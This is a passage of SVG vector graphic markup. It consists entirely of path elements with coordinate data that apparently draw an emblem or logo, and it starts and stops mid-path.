d="M319.9,152.21h-.52a17,17,0,0,1-2.41,3.41,20.51,20.51,0,0,1-3.32,2.91v.54h1.89v7.85a14.75,14.75,0,0,0,.16,2.86,3.45,3.45,0,0,0,1.21,1.73,3.66,3.66,0,0,0,2.35.76,4.26,4.26,0,0,0,4.09-3l-.46-.34c-.61,1-1.24,1.54-1.92,1.54a.88.88,0,0,1-.54-.22,1.19,1.19,0,0,1-.42-.59,6.93,6.93,0,0,1-.11-1.63v-9h3.45v-1.54H319.9v-5.32Z" transform="translate(-23 -22)"/><path class="cls-1" d="M148,113.37l-.4.4a1,1,0,0,0,.4-.4Z" transform="translate(-23 -22)"/><path class="cls-1" d="M152.35,84.13a.76.76,0,1,0-.76.77.77.77,0,0,0,.76-.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M159.43,52.72h0l0,22.16c0,2.14.9,4,2.15,4.58l10.55,6.3a1.26,1.26,0,0,0,1.82.1l10.71-6.4c1.26-.57,2.16-2.44,2.16-4.58l0-22.16H159.43Zm4.51,2.14.44,0,.27-.47.26.46.45,0-.21.39.34.35-.44.09v.47l-.4-.3-.41.3v-.47l-.43-.09.34-.35-.21-.39Zm-.12,5c.8,0,.57.77.71.77s0-.77.52-.77c.79,0,1.78,2,.88,2-.38,0-.07-.28-.08-.34s-.21-.18-.29-.18c-.26,0-.36.42-.58.44s-.26,0-.26-.18.32-.25.45-.37c-1.79,0-1.82.81-2.09.81-.47,0,.39-.86.63-1.11-.36-.06-.57-.5-1-.72.18-.27.29-.16.52,0,0-.19.14-.4.55-.4Zm0,6.75.34-.35-.21-.39.44,0,.27-.47.26.46.45,0-.21.39.34.35-.44.08v.48l-.4-.3-.41.3v-.48l-.43-.08Zm-3.6-13.13h2.89v5.68h-2.89V53.47Zm.35,7.65.34-.35-.21-.38.44,0,.26-.47.27.46.45,0-.22.38.34.35-.43.09v.48l-.41-.31-.4.31v-.48l-.43-.09Zm-.35,1.68h2.89v5.38h-2.89V62.8Zm8.34,19.94L162,78.82a4.7,4.7,0,0,1-1.78-3.65V68.93h8.34V82.74Zm0-14.56h-2.37V62.8h2.37v5.38ZM167,60.39l.44,0,.27-.47.26.46.45,0-.21.38.34.35-.44.09v.48l-.4-.31-.41.31v-.48l-.43-.09.34-.35-.21-.38Zm1.59-1.24h-2.37V53.47h2.37v5.68Zm8.46,24L174,85h-.05a1.24,1.24,0,0,1-.8.29,1.27,1.27,0,0,1-.8-.3l-3-1.8V68.93H177V83.19Zm0-15H169.3V53.47H177V68.18Zm9.09,7a4.66,4.66,0,0,1-1.78,3.65l-6.57,3.92V68.93h8.35v6.24Zm0-7h-8.35V53.47h8.35V68.18Z" transform="translate(-23 -22)"/><path class="cls-1" d="M160.55,72.67c0,.11.07.25.25.34-.08.08-.15.27-.15.78,0,1.76,1.1,2.57,1.9,2.57.58,0,.49-.4.55-.6,0,.3.31-.14.31.38s-.55.3-.55.77c0,.62.88,0,.88.66a8,8,0,0,1-.11,1.15c0,.22.92-.31.86-.41.23.09.21.74.62.72s.33-.67.54-.72c-.13,0,.82.62.82.32,0-.81-.33-.47-.33-1s1.13-.41,1-.68-.26-.08-.37-.47c0,.07-.9-1.3.18-.59s1.26-1.72,1.2-1.85-.53.13-.73.24a3.22,3.22,0,0,1,.81-1.06c-.05-.35-.5,0-1,.21,1.56-2.23.56-1.32-.31-1.16,1.4-1.5,1-1.47,0-1,.81-.64,1-1.4.86-1.62-.76,1-1.46.85-1.46,1.79a3.74,3.74,0,0,1-.54,2c-.4.44-.09-1.65-1.16-1.65-.35,0-1.15,0-1.4.38.22,0,.54.56.54.78s.21.83-.15.83-.79-.77-.79-1.14,0-.28,0-.8a3,3,0,0,0-2-2.14c0,.62.8.76.8,1.55-.34,0-.83-.64-.83-.24s.51.47.51.81-.58-.12-.58.25.32.27.4.59c-.24-.07-.45,0-.5.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M197.38,79.81a.8.8,0,1,0-.9-.8.85.85,0,0,0,.9.8Z" transform="translate(-23 -22)"/><path class="cls-1" d="M192.83,81.18a.91.91,0,1,0,.9-.8.85.85,0,0,0-.9.8Z" transform="translate(-23 -22)"/><path class="cls-1" d="M150.37,85.38a.81.81,0,1,0,.9.8.86.86,0,0,0-.9-.8Z" transform="translate(-23 -22)"/><path class="cls-1" d="M153.18,87.21a.8.8,0,1,0-.9-.79.85.85,0,0,0,.9.79Z" transform="translate(-23 -22)"/><path class="cls-1" d="M231.91,55.35a5.64,5.64,0,0,0-.67-6c-.33-.34-.09-1.11-.71-1.21-.86,2-.1,4.29.86,6.07.09.39,0,1.06.52,1.11Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.27,55.16c.23,0,.19.43.43.19a8.41,8.41,0,0,1,0-3.8,3.45,3.45,0,0,0-1.44-2.36.35.35,0,0,0-.47.09c.47,1.88-.39,4.53,1.48,5.88Z" transform="translate(-23 -22)"/><path class="cls-1" d="M234.74,53c.38-.24.9-.77.62-1.3a1.25,1.25,0,0,0-1.24-.48,1.1,1.1,0,0,0-.58,1.25,1.22,1.22,0,0,0,1.2.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.15,54.87a1.39,1.39,0,0,0,.62-1.06c-.14-.38-.47-.48-.8-.62a1.09,1.09,0,0,0-.92.43.88.88,0,0,0,.19,1c.19.24.63.24.91.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.94,55.84a1.09,1.09,0,0,0,1.29-.44,1.13,1.13,0,0,0,0-.77,1.56,1.56,0,0,0-1-.48,1.5,1.5,0,0,0-.82.87,1.33,1.33,0,0,0,.54.82Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.54,56.12c.43.15.76-.24,1-.48.05-.29.34-.77,0-1a1.16,1.16,0,0,0-.91-.24,1.06,1.06,0,0,0-.67,1.11c.1.33.38.33.62.57Z" transform="translate(-23 -22)"/><path class="cls-1" d="M230.43,56.7c.62-.09.57-.77.57-1.3a1.3,1.3,0,0,0-.95-.53,1.13,1.13,0,0,0-.72,1.15.9.9,0,0,0,1.1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M118.37,56.65c.29-.24.76-.53.62-1a.89.89,0,0,0-1.39-.43c-.09.29-.52.58-.19.91a1,1,0,0,0,1,.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.59,56.7a1,1,0,0,0,.53-.91c-.19-.34-.53-.83-1.05-.63a.8.8,0,0,0-.43,1.1.84.84,0,0,0,1,.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.85,62.2c.68-.63.34-1.83.53-2.75a10.05,10.05,0,0,0-1-3.47c-.14-.24-.14-.72-.52-.58-.28,1.64-1.05,3.62-.19,5.3.43.44.48,1.26,1.14,1.5Z" transform="translate(-23 -22)"/><path class="cls-1" d="M112.68,55.93a1.2,1.2,0,0,0-.63,1.16,1.13,1.13,0,0,0,1.2.67c.33-.33.76-.63.62-1.2a1.22,1.22,0,0,0-1.19-.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M227.23,62.58A7,7,0,0,0,227,58a1.88,1.88,0,0,1-.77-1.44c-.14-.29-.33-.58-.67-.34a6.48,6.48,0,0,0-.58,2.75,18.8,18.8,0,0,0,2,3.9l.29-.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M231.72,56.51a1,1,0,0,0-.52,1.16.86.86,0,0,0,1.1.57,1.2,1.2,0,0,0,.71-1.15c-.23-.38-.76-.87-1.29-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.45,59.5a1,1,0,0,0,.72-.92c-.1-.48-.53-.67-1-.92-.29.1-.62.1-.77.39a1.18,1.18,0,0,0,0,1.11c.34.15.63.63,1,.34Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.64,58.73c.25.34.53.77,1.1.57.2-.23.73-.47.53-1s-.53-.82-1.1-.67c-.33.28-.62.57-.53,1.06Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.26,60.08c.09-.63,1.05-1.25,1.1-1.89a7.1,7.1,0,0,0-3.88,2.51c-.53.87-1.39,1.74-1.29,2.7a2.28,2.28,0,0,0,1.1-.62,4.89,4.89,0,0,0,3-2.7Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.84,63a.4.4,0,0,0,.33-.49,17.45,17.45,0,0,1-2-2.26c-.62-.82-1.53-1-2.34-1.64-.34.05-1-.38-1.1.15,1.14,1.69,2.72,4.09,5.07,4.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M230.43,66.49c.53.33,1.1-.2,1.63-.39a6.19,6.19,0,0,0,3-5.21h-.39a24.47,24.47,0,0,0-4.21,5.6Z" transform="translate(-23 -22)"/><path class="cls-1" d="M225,63.69a1.18,1.18,0,0,0,.81-1.4c-.24-.23-.38-.48-.67-.58a.75.75,0,0,0-.57.15,1,1,0,0,0-.68,1.06c.25.38.58.82,1.11.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.17,65a28.49,28.49,0,0,0-2.59-2.26,8.74,8.74,0,0,0-2.92-.63c-.33.15-1-.05-1,.48,1.67.48,2.77,1.88,4.4,2.46.71,0,1.49.39,2.11-.05Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.64,64.7a1.06,1.06,0,0,0,.72-1.1c-.1-.44-.57-.49-1-.59-.38.2-.86.59-.67,1.11s.53.44.91.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M122.29,64.85c.29.38.82.14,1.15-.15a1,1,0,0,0-.19-1.1c-.39-.39-1-.1-1.29.24s.05.72.33,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M225.31,64.46a.91.91,0,0,0-.71.73c0,.63.62.72,1.1.86.38-.19.81-.57.61-1.11a.94.94,0,0,0-1-.48Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228.47,66.1c.14-.2.29-.24.48-.38.38-.24.05-.63-.1-.87s-.48-.44-.81-.34-.82.48-.72,1a.92.92,0,0,0,1.15.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M109.57,65.43a1.81,1.81,0,0,0,.38.62.94.94,0,0,0,1.29-.62,1.16,1.16,0,0,0-1.15-.83.89.89,0,0,0-.52.83Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.5,66.49c.24.33.57.72,1,.67a1.54,1.54,0,0,0,.82-.92,1.09,1.09,0,0,0-1.3-.72,1,1,0,0,0-.57,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M123,66.15c-.09.48.24.67.53.92.47.28.91-.15,1.19-.39a.75.75,0,0,0-.14-.77c-.29-.19-.48-.43-.86-.34a2.28,2.28,0,0,0-.72.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.21,65.81a1.66,1.66,0,0,0-.9.63c0,.24-.1.63.19.72a.94.94,0,0,0,1.05.24,1.27,1.27,0,0,0,.62-.91,1.75,1.75,0,0,0-1-.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M238.33,67.79a1.2,1.2,0,0,0,.9-.87.83.83,0,0,0-1.19-.48.85.85,0,0,0-.43.77c-.1.43.43.53.72.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.79,67c-.29.19-.72.09-.82.53a.84.84,0,0,0,.24,1c.24.19.58.43.91.24a.94.94,0,0,0,.58-1.15,1.18,1.18,0,0,0-.91-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M118.66,68.85c.09-.29.53-.44.38-.82-.24-.58-1.24-1-1.63-.24-.33.43,0,.86.39,1.15a.79.79,0,0,0,.86-.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.25,67.4a1,1,0,0,0-.53.92.84.84,0,0,0,1,.58c.29-.29.72-.63.67-1.11a1,1,0,0,0-1.1-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.41,68.56a.87.87,0,0,0,.19,1,1.35,1.35,0,0,0,1.15.19c.48-.28.42-.77.53-1.2-.29-.15-.39-.39-.72-.58a1.11,1.11,0,0,0-1.15.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.39,69.24c0,.23-.19.71.14.91a1,1,0,0,0,1,.1c.15-.2.58-.3.39-.68-.2-.58-1.06-1.16-1.49-.33Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228.51,69.67a13.78,13.78,0,0,1,1.92,1.06,3.67,3.67,0,0,0,3.88.19c.05-.1.14-.39-.05-.43-1.53,0-2.64-1.35-4-1.55-.63.15-1.48.1-1.73.73Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.74,69.76a.86.86,0,0,0,.34,1.21c.23.09.62.19.81-.1s.38-.43.28-.82a.86.86,0,0,0-1.43-.29Z" transform="translate(-23 -22)"/><path class="cls-1" d="M120.9,71.4c.39-.24.68-.62.49-1.06-.34-.53-1.2-.91-1.63-.19-.43.38,0,.77.24,1.11.28,0,.57.33.9.14Z" transform="translate(-23 -22)"/><path class="cls-1" d="M170.56,79.2c.64,1.7,2.64.87,4,1a4.3,4.3,0,0,0,1.81-1.56c.05-.78.28-1.78-.17-2.43a7.08,7.08,0,0,1-1-2.69c-.22-1.29,1.37-.19,1.46-1.15-.45-.5-1.14-1.42-1.95-.78a1.58,1.58,0,0,0-.55,1.6c.18,1.24.73,2.39.91,3.53a4.3,4.3,0,0,1-.68-.6c-1-1.23-2.72-.86-3.82-2-1.31.09.87,1.47-.68,1.74-.05.32.32.5.32.82-.14.14-.32.14-.46.23a6.81,6.81,0,0,0,.77,2.29Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.07,73.09c.29-.24.67-.53.52-1a1,1,0,0,0-.9-.48c-.29.24-.63.48-.48,1,.19.24.43.72.86.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M154.3,72.75c-.52,1.88-1.48,4.39-.19,6.17.53,0,.39-.58.43-1a6.56,6.56,0,0,0,.57-5.39c-.14-.48-.71-.29-.81.19Z" transform="translate(-23 -22)"/><path class="cls-1" d="M196.17,78a5.38,5.38,0,0,0-.1-4.49c-.19-.38-.14-1.25-.81-1.1a11.76,11.76,0,0,1-.57,2.55,10.78,10.78,0,0,0,1.1,3.42l.38-.38Z" transform="translate(-23 -22)"/><path class="cls-1" d="M123.44,75.93a5.7,5.7,0,0,0,4.26-.82c.53-.38,1.34-.53,1.63-1.11-.1-.23-.34-.14-.43-.33a5.2,5.2,0,0,0-5.46,2.26Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113,80.46c-1-1.73-1.53-3.47-3.3-4.72-.19,0-.48,0-.48.19a5.3,5.3,0,0,0,2.92,5c.53-.1.91.48,1.29.19.2-.39-.28-.44-.43-.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M193.78,78.34c.38-.14.48-.62.43-1.11a.85.85,0,0,0-1.29-.24c-.1.24-.38.44-.24.77a.86.86,0,0,0,1.1.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.1,83.31c2.69-.78,4.31-3.23,5.84-5.4a1.58,1.58,0,0,0-1.29.19c-2.53.63-3.4,3.32-5,5.06.09.24.28.15.47.15Z" transform="translate(-23 -22)"/><path class="cls-1" d="M106.84,80.94c.43,0,.24-.48.48-.67-.1-.49-.48-.63-.86-.82a.86.86,0,0,0-.63,1.06.78.78,0,0,0,1,.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115,80.07a5.19,5.19,0,0,0,5.5,1.4c.24-.09.72-.09.58-.53-1.63-1.2-3.93-.82-5.89-1.3-.19,0-.19.24-.19.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M108.23,80.85a1.48,1.48,0,0,0,.62.62A1.05,1.05,0,0,0,110,81a1.29,1.29,0,0,0-.09-.72,1.41,1.41,0,0,0-.91-.39,1.15,1.15,0,0,0-.81.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M153.54,80.17a.7.7,0,0,0-.34.92,1,1,0,0,0,1,.38c.29-.19.67-.48.57-.91s-.81-.48-1.24-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M238,80.85c-.09.33.2.53.24.77a1,1,0,0,0,.91.14c.33-.29.76-.53.62-1a5.57,5.57,0,0,0-.67-.48,1,1,0,0,0-1.1.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M241.87,82a.67.67,0,0,0,.86-.29c.24-.34.47-.68.19-1.11-.39,0-.58-.48-1-.29-.29.14-.72.43-.72.82s.43.58.72.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M104.2,83c.29.1.53-.1.78-.2.09-.28.38-.48.33-.81a.92.92,0,0,0-1.82.24,1.45,1.45,0,0,0,.71.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M204.5,82.05c-.15.44.19.72.48,1,.48.24.86-.1,1.14-.49a1.31,1.31,0,0,0-.05-.62.93.93,0,0,0-1.57.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M111.91,81.76c-.43.24-.38.68-.38,1.11.24.19.38.58.81.53s.57-.38.67-.72a.87.87,0,0,0-1.1-.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M106.65,83.16a1.13,1.13,0,0,0,1.29.68,1,1,0,0,0,.48-1.07c-.24-.24-.48-.72-.91-.72a1.34,1.34,0,0,0-.86,1.11Z" transform="translate(-23 -22)"/><path class="cls-1" d="M208.71,83.84a1,1,0,0,0,.52-1.16,1.09,1.09,0,0,0-1-.53c-.57.1-.61.62-.86,1,.25.39.72.87,1.3.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M110.43,83.6c.09-.25.38-.39.24-.73a.9.9,0,0,0-.92-.68c-.33.2-.66.44-.62.92s.44.44.62.68c.29.09.44-.19.68-.19Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.36,82.77c-.1.25-.19.68,0,.87s.53.49.91.39a1.43,1.43,0,0,0,.81-.77,1,1,0,0,0-1.77-.49Z" transform="translate(-23 -22)"/><path class="cls-1" d="M239,83.16c-.33.58.15.92.58,1.11a1.25,1.25,0,0,0,1.15-.82.92.92,0,0,0-1.15-.72c-.29,0-.39.24-.58.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M216.4,84.51a2.19,2.19,0,0,0,.92.39c.39-.29,1-.49.72-1.11a1.16,1.16,0,0,0-1-.53,1.12,1.12,0,0,0-.68,1.25Z" transform="translate(-23 -22)"/><path class="cls-1" d="M203.4,84.41a.81.81,0,0,0,.47.92c.44.29.82-.19,1.11-.39,0-.14.14-.48-.1-.57a.89.89,0,0,0-1.48,0Z" transform="translate(-23 -22)"/><path class="cls-1" d="M206.7,84.22a1.13,1.13,0,0,0-.63.39.79.79,0,0,0,.05.72c.34.1.72.48,1.06.15a.68.68,0,0,0,.38-.78c-.14-.38-.53-.38-.86-.48Z" transform="translate(-23 -22)"/><path class="cls-1" d="M126.26,85.67c0-.29.39-.63.1-.92a1.69,1.69,0,0,0-1-.48c-.38,0-.38.34-.67.43-.09.39-.14,1,.34,1.21a.93.93,0,0,0,1.19-.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M222.44,85.71c.33-.09.81-.29.72-.77-.34-.38-.76-.86-1.44-.57-.1.24-.38.43-.38.72.24.38.53.82,1.1.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.52,84.37c-.33.09-.48.38-.76.62,0,.29,0,.58.23.72a1,1,0,0,0,1.06.2c.19-.24.72-.49.52-1a1.25,1.25,0,0,0-1-.57Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.16,85.52l-.15-.14c-2-.1-4.16-1.69-6.22-.39-.38.25-1.1,0-1.25.63,1.92.72,4.5,1.64,6.51.43.34-.19,1.2.15,1.11-.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M104.83,86.39A7.77,7.77,0,0,0,111,85.28l.19-.34-.14-.14a8.63,8.63,0,0,0-6.41,1.3l.19.29Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228,85.28c-.19-.48-.77-.53-1.1-.53-.38.15-.77.53-.63.92a1,1,0,0,0,1.25.53,1.1,1.1,0,0,0,.48-.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M119.18,86.44c.48-.19.38-.58.58-1-.29-.43-.72-.86-1.29-.57-.25.24-.63.38-.49.91a1,1,0,0,0,1.2.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.17,86.63a.86.86,0,0,0,1-.14c.09-.25.38-.44.24-.78a1.11,1.11,0,0,0-1-.77,3.07,3.07,0,0,0-.77.54c-.14.52.2.86.54,1.15Z" transform="translate(-23 -22)"/><path class="cls-1" d="M231.39,86.82a1,1,0,0,0-.87-.77c-.18.1-.52.1-.61.25a.75.75,0,0,0-.2.91,1.1,1.1,0,0,0,.91.48,1,1,0,0,0,.77-.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M111.53,89.18a7.22,7.22,0,0,0,1-2.07c0-.29.39-.43.24-.81l-.14-.1a12.52,12.52,0,0,0-4.84,4l.19.38c1.3-.34,2.59-.34,3.5-1.45Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228.28,88.27c.33-.24.81-.34.72-.92a1,1,0,0,0-1.06-.62c-.28.24-.77.43-.62,1a1.09,1.09,0,0,0,1,.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M117.17,86.92A.8.8,0,0,0,116.7,88a1.26,1.26,0,0,0,1,.48c.29-.24.68-.38.73-.92-.1,0-.2-.14-.15-.24-.14-.43-.72-.48-1.15-.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M239.43,89.72c.37-.24.81-.54.62-1.11a1.17,1.17,0,0,0-1.15-.53c-.53.09-.62.67-1.1.72-.77-.87-1.91-2-3.3-1.88-.53.39.39.72.57,1.16a6.05,6.05,0,0,0,3.45,3c.14.1.48.15.57,0a1.53,1.53,0,0,0-.67-1c0-.62.67-.09,1-.33Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.35,88.22a.74.74,0,0,0,0-.92,1.31,1.31,0,0,0-1.1-.33,1.44,1.44,0,0,0-.71.62c-.1.39.14.63.37.87.44.05,1.16.24,1.4-.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M220.81,87.3c0,.34.34.58.48.78.62,1.93,2.73,2.94,4.36,3.85.09,0,.33,0,.43-.09A6.56,6.56,0,0,0,225,89.91c-.19-.53-.57-.77-.9-1.26-.87-.67-2.06-1.59-3.31-1.35Z" transform="translate(-23 -22)"/><path class="cls-1" d="M114.11,88.65a1.08,1.08,0,0,0,1.1.39c.24-.19.62-.53.43-1-.24-.24-.48-.63-.86-.58s-1,.62-.67,1.15Z" transform="translate(-23 -22)"/><path class="cls-1" d="M229.38,88.85c-.29.24,0,.62.05.87.33.33.71.19,1.1.14.14-.2.52-.39.47-.68-.33-.48-1.09-1-1.62-.33Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.25,91.07a1.15,1.15,0,0,0,.67-1.21,2.46,2.46,0,0,0-.58-.48,1.2,1.2,0,0,0-1.24.33c0,.34-.23.63,0,.92a1.27,1.27,0,0,0,1.15.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M209.81,96.51a7.14,7.14,0,0,0-6.51,1.3v.29a10.21,10.21,0,0,0,5-.72c.43-.44,1.49-.29,1.49-.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M139.28,99.4a.91.91,0,0,0,.72-.82,1.13,1.13,0,0,0-.91-.72c-.34.24-.82.48-.62,1.06a.91.91,0,0,0,.81.48Z" transform="translate(-23 -22)"/><path class="cls-1" d="M207.22,99.88c.34.19.63.44,1.06.34a1.34,1.34,0,0,0,.71-1.11,1,1,0,0,0-1.91,0c0,.24-.09.58.14.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M218.52,99c-2.49-.2-5.36-.2-7,1.73l.25.19,2.58,0a7.8,7.8,0,0,0,4.12-1.69V99Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.64,99.83a.87.87,0,0,0-.38,1.11.88.88,0,0,0,1,.44.9.9,0,0,0,.63-.92c-.2-.38-.72-1-1.25-.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M128.46,100.32c-.14.19-.42.14-.57.43a.61.61,0,0,0,.29.82.78.78,0,0,0,.91,0c.1-.24.33-.39.19-.63a1.37,1.37,0,0,0-.82-.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M109.18,105.38c.53.29,1.29,1,1.78.43-1.11-1.45-1.49-3-3.12-3.9a6.33,6.33,0,0,1-1-.53c-.34.09-.77-.53-1,.05,1.68,1.1,1.63,3,3.3,3.95Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.87,109.52v-.09l0,0c-.53-.67-1.68,0-2.31-.53a36.16,36.16,0,0,1-9.42-2.36c.05-.14.24-.1.39-.1a1.24,1.24,0,0,0,.76-1.2,1,1,0,0,0-1.82.29,1.18,1.18,0,0,0,.72.91c-.1.1-.29,0-.43,0-1.48-.67-2.92-1.3-4.36-2-.53-.1-1-.53-1.48-.63-1.1-.53-2.2-1.06-3.3-1.49-3.07-1.59-6.46-2.46-9.72-3.62-.71-.19-1.39-.39-2.05-.58-1.2-.33-2.4-.62-3.59-1-4.07-1-9.53-1.11-13.07,1.11-.57-.19-.9.72-1.19.14,1-2.65,3.92-3.51,6.55-3.61,19.19-.19,37.18-.34,56.08-.63a6.07,6.07,0,0,0,5.51-2.74,4.87,4.87,0,0,0,.33-4.44,3.83,3.83,0,0,0-3.59-2,3.28,3.28,0,0,0-2.68,2,2.44,2.44,0,0,0,.92,2.65.72.72,0,0,0,.95-.24c.24-.62-.44-.62-.53-1.11a1.59,1.59,0,0,1,.53-1.68c.48-.48,1.29-.25,1.86-.25a3.41,3.41,0,0,1,1.44,1.4,3.88,3.88,0,0,1,0,2.56,4.27,4.27,0,0,1-3,2.41c-4,.58-47.56.38-47.56.38-5.12.49-11-1-15.36,1.74-2,1-3,3.18-3.54,5.16a34.25,34.25,0,0,0-3.73,3.8l-.15-.14c.24-1.16.77-2.17,1-3.33.71-1,.71-2.26,1.24-3.32,1.82-2.94,3.54-5.93,6.37-8,1.2-1.6,3.3-1.31,5.11-1.31a12.71,12.71,0,0,0,6.66,1,.42.42,0,0,0,.14-.34c-.67-.63-1.77-.87-2.53-1.49-1.92-.92-3.74.29-5.74.14-.1-.1-.2-.14-.15-.29a28.06,28.06,0,0,1,5.94-3.18,40.35,40.35,0,0,1,5.21-2.07c.72,0,1.39-.63,2.06-.19-1.43,2.79-2.73,5.78-4.93,8.14-.72,0-1.15.77-1.87.82-.38.53-1.15.15-1.63.34-1.48.63-3.58.24-4.59,1.64a.71.71,0,0,0,.38.24c2.92,0,6.18.24,9.29.1a1.16,1.16,0,0,0,.76-.92c-.43-.82.15-1.54.53-2.17.24-1.16,1-1.88,1.34-3,1-2,2.15-3.9,3.25-5.88h0c.1,0,.19.19.39.15,2.15-.73,4.88,0,7.32-.1l.33.29h0a34.26,34.26,0,0,1-.43,7c-.81,2.79-4,2.51-6.32,3.13-.57.39-1.67.19-1.67,1.16,2.78.58,6,.24,9,.19.47-.19.57-.63.81-1.06.1-.63.72-1.16.53-1.83-.53-.67-.05-1.74-.2-2.65a1.44,1.44,0,0,0,0-.92c.39-1.39.29-3.08.58-4.43h0c.86.09,1.24,1.11,2.15,1.15.48-.67-.53-1-.77-1.39a5.24,5.24,0,0,1,3.21.48l-.47.53c-.29.53.14.92.57,1.11s.57-.15.82-.24c.61-.44-.06-.87.14-1.26a45.78,45.78,0,0,1,10.19,2.9c.9.28,1.76,1,2.78.91a13,13,0,0,0-3.64-1.93c-.82-.48-2-.53-2.59-1.2.15-.24.48-.15.63-.34a7.12,7.12,0,0,0,4.16-2.7c.09-.29.62-.19.57-.58-.43-.48-1.15.15-1.72.1-2,.39-2.87,2.75-4.88,3.18-2.44-.58-4.93-1.15-7.37-1.78a14.37,14.37,0,0,1-3.59-.78,24.72,24.72,0,0,1,.33-2.64,1.77,1.77,0,0,0,.2-1,2.38,2.38,0,0,1,.47-.48l1-.46a12.07,12.07,0,0,1,3.84,0,10.33,10.33,0,0,0,2.39.53,1.76,1.76,0,0,1,1.2-.24c1.53-.82.52-2.6.62-4h0a30.72,30.72,0,0,0,3.62-3.95.91.91,0,0,0-.52-.91.82.82,0,0,0-1,.19c-.57.44,0,1,0,1.49a8,8,0,0,1-2.2,1.89,1.9,1.9,0,0,0-.41.15l-.12-.3a6.4,6.4,0,0,1-.38-1c-.28-.34-.48-1-.76-1.3-.82-2.12-2.39-3.33-3.74-5-2.44-3.17-6.26-5-10.09-6.21s-7.61.38-11,1.59a2.76,2.76,0,0,1-1.87-2,9.61,9.61,0,0,1,.92-5.12c.14-1.2.95-2.12,1.29-3.22a34.33,34.33,0,0,0,2-8.29c.1-1.78-1.24-3-2.58-3.81a2.63,2.63,0,0,0-2.64.53,7,7,0,0,1-3.1,2.8c-.1.82.91.28,1.24.57,1,.2,2.24-.14,3.11.53.09,1.93-1,3.52-2,5a38.69,38.69,0,0,0-4.36,7.51l0,0v-2.5h0v0H167.13c-1.15-.39-2-1.59-3.31-1.59-2.68-1.06-4.44,1.73-7.17,1.4-.34.19-.24.53-.43.77s-.38,0-.53-.05c-.14-1.15-.53-2.22-.67-3.32-.28-.48-.14-1.16-.38-1.64-1.53-4.19,3.73-1,4.78-3.47.91-2.12-1.77-2.36-2.58-3.85v-.63c-.77-.77-1.58-1-2.06-2a7,7,0,0,0,.14-3.71c0-.29-.23-.67-.67-.53-.9,1.25-1.57,2.27-2.44,3.47A26.61,26.61,0,0,0,149,32.75c-.72-.1-1.39-.82-2.2-.53a.66.66,0,0,0,.14.72,7,7,0,0,0,2.34,4.73l.15.72c-.86,2-.62,4.24-.86,6.36a35.38,35.38,0,0,1-10.38,14.61c-2.73,3.08-6,6.07-6.41,10.31-.15.67.09,1.49-.44,2a16.16,16.16,0,0,1-4.44-2.36c-2.2-1.54-5.36-1.35-6.8-4.14-.57-1.11.15-2.22.67-3,1.62-1.54,